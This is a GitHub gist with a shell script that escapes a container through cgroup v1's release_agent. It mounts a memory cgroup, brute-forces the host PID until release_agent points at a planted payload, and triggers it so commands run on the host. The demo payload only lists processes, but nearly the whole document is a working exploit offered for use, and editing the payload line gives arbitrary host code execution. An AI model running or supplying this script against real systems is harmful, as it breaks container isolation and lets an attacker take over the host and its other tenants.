Last active
November 12, 2022 17:16
-
-
Save bchaber/54cb4d21fb101191477cb9af9c1d454a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
OUTPUT_DIR="/" | |
MAX_PID=65535 | |
CGROUP_NAME="xyx" | |
CGROUP_MOUNT="/tmp/cgrp" | |
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" | |
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" | |
OUTPUT_NAME="${CGROUP_NAME}_payload.out" | |
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" | |
# Run a process for which we can search for (not needed in reality, but nice to have) | |
sleep 10000 & | |
# Prepare the payload script to execute on the host | |
cat > ${PAYLOAD_PATH} << __EOF__ | |
#!/bin/sh | |
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} | |
# Commands to run on the host< | |
ps -eaf > \${OUTPATH} 2>&1 | |
__EOF__ | |
# Make the payload script executable | |
chmod a+x ${PAYLOAD_PATH} | |
# Set up the cgroup mount using the memory resource cgroup controller | |
mkdir ${CGROUP_MOUNT} | |
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} | |
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} | |
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release | |
# Brute force the host pid until the output path is created, or we run out of guesses | |
TPID=1 | |
while [ ! -f ${OUTPUT_PATH} ] | |
do | |
if [ $((${TPID} % 100)) -eq 0 ] | |
then | |
echo "Checking pid ${TPID}" | |
if [ ${TPID} -gt ${MAX_PID} ] | |
then | |
echo "Exiting at ${MAX_PID} :-(" | |
exit 1 | |
fi | |
fi | |
# Set the release_agent path to the guessed pid | |
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent | |
# Trigger execution of the release_agent | |
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" | |
TPID=$((${TPID} + 1)) | |
done | |
# Wait for and cat the output | |
sleep 1 | |
echo "Done! Output:" | |
cat ${OUTPUT_PATH} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment